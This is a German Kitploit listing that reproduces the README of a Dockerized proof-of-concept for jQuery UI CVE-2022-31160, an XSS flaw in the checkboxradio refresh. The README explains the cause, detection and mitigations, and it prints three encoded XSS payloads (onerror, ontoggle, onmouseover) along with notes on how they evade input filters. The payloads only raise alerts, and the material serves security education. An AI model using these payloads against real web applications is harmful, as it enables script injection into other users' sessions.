Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
jquery-cve-2022-31160 — jquery XSS Proof of Concept (PoC) | Kitploit
Tools/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFLernen & Bildung
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

Repository anzeigen
2vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

jQuery UI CVE-2022-31160 Schwachstellendemonstration

Security Badge jQuery UI CVE Docker

Dieses Projekt demonstriert die jQuery UI Checkboxradio Widget Refresh Schwachstelle (CVE-2022-31160), die eine Decodierung von HTML-Entitäten während Widget-Refresh-Vorgängen ermöglicht und potenziell zu Cross-Site-Scripting (XSS)-Angriffen führen kann.

🚨 Sicherheitswarnung

⚠️ Dieses Projekt enthält funktionierende XSS-Payloads ausschließlich für Bildungs- und Forschungszwecke.

  • Nicht auf Produktionssystemen verwenden
  • Nur in kontrollierten Umgebungen einsetzen
  • Vorgesehen für Sicherheitsforschung und -bildung

📋 Inhaltsverzeichnis

  • Schwachstellenübersicht
  • Schnellstart
  • Projektstruktur
  • Demonstrationen
  • Technische Details
  • Docker-Nutzung
  • Sicherheitsanalyse
  • Gegenmaßnahmen
  • Beitragen
  • 🔍 Schwachstellenübersicht

    CVE-2022-31160 Details

    • Komponente: jQuery UI Checkboxradio Widget
    • Betroffene Versionen: jQuery UI ≤ 1.13.1
    • Schwachstellentyp: Cross-Site Scripting (XSS) via HTML-Entity-Decodierung
    • CVSS-Score: 6.1 (Mittel)
    • Erstveröffentlicht: 20. Juli 2022

    Ursache

    Wenn ein Checkboxradio-Widget auf einem innerhalb eines Labels eingeschlossenen Input initialisiert wird, führt der Aufruf von .checkboxradio("refresh") auf dem Widget dazu, dass HTML-Entitäten im Label-Inhalt fälschlicherweise decodiert werden. Dadurch kann sicher codierter schädlicher Inhalt in ausführbares JavaScript umgewandelt werden.

    Angriffsvektor

    root@kitploit:~
    <!-- Sicher codierter Inhalt -->
    <label for="checkbox">
      Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
      <input type="checkbox" id="checkbox">
    </label>
    
    <!-- Nach .checkboxradio("refresh") -->
    <label for="checkbox">
      Text 
      <input type="checkbox" id="checkbox">
    </label>
    

    🚀 Schnellstart

    Voraussetzungen

    • Docker auf Ihrem System installiert
    • Webbrowser mit Entwicklertools
    • Grundlagenwissen über Websicherheitskonzepte

    Erstellen und Ausführen

    root@kitploit:~
    # In das Projektverzeichnis wechseln
    cd jquery-cve-2022-31160
    
    # Docker-Image erstellen
    docker build -t jquery-cve-2022-31160 .
    
    # Container starten
    docker run -p 3000:3000 jquery-cve-2022-31160
    

    Zugriff auf die Demonstrationen

    Sobald der Container läuft, erreichen Sie:

    • Vereinfachte Umfragedemo: http://localhost:3000/survey
    • Alternative Umfrage-URL: http://localhost:3000/simplified-survey

    📁 Projektstruktur

    root@kitploit:~
    jquery-cve-2022-31160/
    ├── README.md                    # Diese Dokumentation
    ├── Dockerfile                   # Docker-Container-Konfiguration
    ├── package.json                 # Node.js-Abhängigkeiten
    ├── server.js                    # Express.js-Server
    └── simplified-survey.html       # Umfrageartige Demonstration
    

    🎯 Demonstrationen

    1. Vereinfachte Umfragedemo (simplified-survey.html)

    URL: http://localhost:3000/survey

    • Umfrageartige Oberfläche
    • Mehrere Schwachstellenszenarien
    • Verbessertes visuelles Feedback

    Funktionen:

    • 4 verschiedene Checkbox-Optionen mit verschiedenen Szenarien:
      • Sichere Option: Keine codierten Entitäten (Kontrollgruppe)
      • Netzwerksicherheit XSS: &lt;img src=x onerror=&quot;...&quot;&gt; - Sofortige Ausführung
      • Mobile Sicherheit XSS: &lt;details ontoggle=&quot;...&quot; open&gt; - Sofortige Ausführung
      • Cloud-Sicherheit XSS: &lt;span onmouseover=&quot;...&quot;&gt; - Interaktive Ausführung

    Analysewerkzeuge:

    • Detailliertes Konsolen-Logging
    • XSS-Ausführungsalarme
    • Schrittweise Schwachstellenverfolgung

    🔧 Technische Details

    Schwachstellenmechanismus

    1. Widget-Initialisierung: jQuery UI erstellt Checkboxradio-Widget
    2. HTML-Entity-Speicherung: Label-Inhalt mit codierten Entitäten wird verarbeitet
    3. Refresh-Trigger: .checkboxradio("refresh") wird aufgerufen
    4. Entity-Decodierung: jQuery UI decodiert fälschlicherweise HTML-Entitäten
    5. XSS-Ausführung: Decodierter schädlicher Inhalt wird ausführbar

    Betroffener Codepfad

    root@kitploit:~
    // Verwundbarer Vorgang
    $('#vulnerable-checkbox').checkboxradio();
    $('#vulnerable-checkbox').checkboxradio("refresh"); // Löst Schwachstelle aus
    

    Test-Payloads

    Die Demonstrationen enthalten verschiedene Payloads zum Testen unterschiedlicher XSS-Ausführungsmethoden:

    root@kitploit:~
    <!-- Netzwerksicherheit: Error-Ereignis XSS (Sofortige Ausführung) -->
    &lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;
    
    <!-- Mobile Sicherheit: Details-Toggle XSS (Sofortige Ausführung) -->
    &lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;
    
    <!-- Cloud-Sicherheit: Interaktives XSS (Benutzerinteraktion erforderlich) -->
    &lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;
    

    XSS-Ausführungsmethoden

    1. Error-Ereignis-Handler (onerror)

    • Auslöser: Sofort, wenn das Element in das DOM eingefügt wird
    • Zuverlässigkeit: Sehr hoch (schlägt immer mit src=x fehl)
    • Anwendungsfall: Demonstriert sofortige XSS-Ausführung
    • Risiko in der Praxis: Hoch – umgeht häufig Eingabefilter

    2. Details-Toggle-Ereignis-Handler (ontoggle)

    • Auslöser: Wenn sich der geöffnete/geschlossene Zustand des Details-Elements ändert
    • Zuverlässigkeit: Sehr hoch (garantierte Auslösung mit dem open-Attribut)
    • Anwendungsfall: Sofortige Ausführung bei DOM-Einfügung
    • Risiko in der Praxis: Hoch – zuverlässige browserübergreifende Ausführung

    3. Maus-Ereignis-Handler (onmouseover)

    • Auslöser: Erfordert Benutzerinteraktion (Darüberfahren)
    • Zuverlässigkeit: Hoch, wenn der Benutzer interagiert
    • Anwendungsfall: Social-Engineering-Szenarien
    • Risiko in der Praxis: Mittel – erfordert Benutzerengagement

    Warum diese Payloads funktionieren

    Vorteile von Ereignis-Handlern:

    • Ausführung beim Einfügen des Elements über innerHTML
    • Umgehen von <script>-Tag-Einschränkungen
    • Konsistentes Verhalten in verschiedenen Browsern
    • Keine externen Ressourcen erforderlich
    • Zustandsbasierte Auslöser (wie ontoggle) sind hochzuverlässig

    Umgehung der Codierung:

    • HTML-Entitäten (&lt;, &quot;) werden durch den jQuery-UI-Refresh decodiert
    • Verwandelt sicher codierten Inhalt in ausführbaren Code
    • Demonstriert echte Umgehung von Bereinigung
    • Mehrere Ausführungsvektoren zeigen die Vielfalt der Angriffsoberfläche

    🐳 Docker-Nutzung

    Image erstellen

    root@kitploit:~
    docker build -t jquery-cve-2022-31160 .
    

    Container ausführen

    root@kitploit:~
    # Auf Standard-Port 3000 ausführen
    docker run -p 3000:3000 jquery-cve-2022-31160
    
    # Auf benutzerdefiniertem Port ausführen
    docker run -p 8080:3000 jquery-cve-2022-31160
    
    # Im Hintergrund ausführen
    docker run -d -p 3000:3000 jquery-cve-2022-31160
    
    # Mit benutzerdefiniertem Namen ausführen
    docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
    

    Container-Verwaltung

    root@kitploit:~
    # Laufende Container auflisten
    docker ps
    
    # Container anhalten
    docker stop jquery-cve-2022-31160
    
    # Container entfernen
    docker rm jquery-cve-2022-31160
    
    # Image entfernen
    docker rmi jquery-cve-2022-31160
    

    🔬 Sicherheitsanalyse

    Auswirkungsbewertung

    • Schweregrad: Mittel (CVSS 6.1)
    • Angriffskomplexität: Niedrig
    • Benutzerinteraktion: Erforderlich (Seiteninteraktion)
    • Umfang: Unverändert (gleiche Herkunft)
    • Vertraulichkeit: Geringe Auswirkung
    • Integrität: Geringe Auswirkung
    • Verfügbarkeit: Keine

    Szenarien in der Praxis

    Diese Schwachstelle kann in Anwendungen ausgenutzt werden, die:

    1. jQuery UI-Checkboxradio-Widgets verwenden
    2. Benutzergenerierte Inhalte in Labels erlauben
    3. Inhalte mittels HTML-Entity-Codierung bereinigen
    4. Widgets programmgesteuert aktualisieren

    Erkennungsmethoden

    • Statische Analyse: Suche nach .checkboxradio("refresh")-Aufrufen
    • Dynamische Analyse: Überwachung von HTML-Inhaltsänderungen während Widget-Operationen
    • Automatisiertes Scannen: Verwenden von Tools zur Erkennung von DOM-basiertem XSS
    • Manuelles Testen: Testen des Widget-Refreshs mit codierten Payloads

    🛡️ Gegenmaßnahmen

    Sofortmaßnahmen

    1. jQuery UI aktualisieren: Upgrade auf Version 1.13.2 oder höher
    2. Eingabevalidierung: Ordnungsgemäße serverseitige Validierung implementieren
    3. Content Security Policy: Restriktive CSP-Header bereitstellen
    4. Ausgabecodierung: Kontextgerechte Ausgabecodierung verwenden

    Code-Korrekturen

    root@kitploit:~
    // Vor dem Refresh den Inhalt bereinigen oder validieren
    function safeRefresh(element) {
        // Label-Inhalt vor dem Refresh validieren
        const label = $(`label[for="${element.attr('id')}"]`);
        const content = label.html();
        
        // Auf potenziell gefährlichen Inhalt prüfen
        if (content.includes('<') || content.includes('javascript:')) {
            console.warn('Potenziell gefährlicher Inhalt erkannt');
            return;
        }
        
        element.checkboxradio("refresh");
    }
    

    Sicherheits-Header

    root@kitploit:~
    // Express.js-Sicherheits-Header
    app.use((req, res, next) => {
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('X-Frame-Options', 'DENY');
        res.setHeader('X-XSS-Protection', '1; mode=block');
        res.setHeader('Content-Security-Policy', "default-src 'self'");
        next();
    });
    

    📚 Bildungswert

    Dieses Projekt dient als Bildungsressource für:

    • Sicherheitsforscher: Verständnis von DOM-Manipulationsschwachstellen
    • Webentwickler: Lernen über jQuery-UI-Sicherheitsaspekte
    • Penetrationstester: Praktische XSS-Ausnutzungstechniken
    • Sicherheitsstudenten: Praktische Schwachstellenanalyse

    🔗 Referenzen

    • CVE-2022-31160 Offizieller Eintrag
    • jQuery UI Sicherheitshinweis
    • OWASP XSS Prevention Cheat Sheet
    • CWE-79: Cross-site Scripting

    📈 Test-Checkliste

    Bei Verwendung dieser Demonstration:

    Vorbereitung vor dem Test:

    • jQuery UI-Version überprüfen (sollte 1.13.0 sein)
    • Mit geöffneten Entwicklertools testen (F12)
    • Umfrage unter http://localhost:3000/survey aufrufen
    • Konsole auf Initialisierungsmeldungen prüfen

    Schwachstellentests:

    • Schaltfläche "🔄 Widgets aktualisieren" klicken
    • Netzwerksicherheitsoption: Sofortige Alarmausführung überprüfen
    • Mobile Sicherheitsoption: Sofortige Alarmausführung überprüfen
    • Cloud-Sicherheitsoption: Über den Text "[Hover to trigger]" fahren
    • Konsole auf detailliertes Schwachstellen-Logging prüfen

    Analyse-Überprüfung:

    • XSS-Payload-Ausführung validieren (3 verschiedene Typen)
    • Widget-Reset-Funktionalität testen
    • Prüfen, ob das visuelle Feedback der Checkbox korrekt funktioniert

    🤝 Beitragen

    Beiträge sind willkommen! Bitte:

    1. Repository forken
    2. Feature-Branch erstellen
    3. Änderungen vornehmen
    4. Geeignete Dokumentation hinzufügen
    5. Pull-Request einreichen

    Bereiche für Verbesserungen

    • Zusätzliche Payload-Beispiele
    • Detailliertere Analysewerkzeuge
    • Verbesserte visuelle Demonstrationen

    ⚖️ Rechtlicher Hinweis

    Diese Software wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Die Autoren und Mitwirkenden:

    • Sind nicht verantwortlich für jeglichen Missbrauch dieser Software
    • Fördern oder billigen keine böswilligen Aktivitäten
    • Empfehlen die Nutzung nur in autorisierten Testumgebungen
    • Raten zur Einhaltung verantwortungsvoller Offenlegungspraktiken

    📄 Lizenz

    Dieses Projekt wird zu Bildungszwecken unter der MIT-Lizenz bereitgestellt.


    Erstellt für Sicherheitsforschung und -bildung | Verantwortungsvoll nutzen | Schwachstellen über die richtigen Kanäle melden

    Tool herunterladen